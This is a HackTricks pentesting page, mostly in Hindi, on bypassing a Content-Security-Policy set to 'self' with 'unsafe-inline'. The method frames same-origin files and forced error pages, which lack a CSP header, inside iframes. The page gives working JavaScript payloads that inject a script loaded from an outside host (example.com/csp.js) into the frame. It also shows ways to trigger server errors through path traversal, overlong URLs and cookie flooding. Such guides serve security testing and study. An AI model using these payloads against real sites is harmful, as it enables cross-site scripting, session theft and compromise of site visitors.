hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

6.8 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

टेक्स्ट और छवियों के माध्यम से

यह देखा गया है कि आधुनिक ब्राउज़र छवियों और टेक्स्ट को HTML में रूपांतरित करते हैं ताकि उनकी प्रदर्शन क्षमता बढ़ाई जा सके (जैसे कि बैकग्राउंड सेट करना, केंद्रीकरण, आदि)। इसलिए, यदि किसी छवि या टेक्स्ट फ़ाइल, जैसे कि favicon.ico या robots.txt, को एक iframe के माध्यम से खोला जाता है, तो यह HTML के रूप में प्रदर्शित होता है। विशेष रूप से, इन पृष्ठों में अक्सर CSP हेडर नहीं होता है और X-Frame-Options शामिल नहीं होते हैं, जिससे उनसे विचारहीन जावास्क्रिप्ट का कार्यान्वयन किया जा सकता है:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

त्रुटियों के माध्यम से

उसी तरह, त्रुटि प्रतिक्रियाएँ, जैसे पाठ फ़ाइलें या छवियाँ, आम तौर पर सीएसपी हेडर के बिना आती हैं और एक्स-फ्रेम-विकल्प को छोड़ सकती हैं। त्रुटियों को आईफ्रेम के भीतर लोड करने के लिए प्रेरित किया जा सकता है, जिससे निम्नलिखित क्रियाएँ की जा सकती हैं:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

उल्लिखित किसी भी स्थिति को ट्रिगर करने के बाद, आईफ्रेम के भीतर जावास्क्रिप्ट निष्पादन संभव है जैसे:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: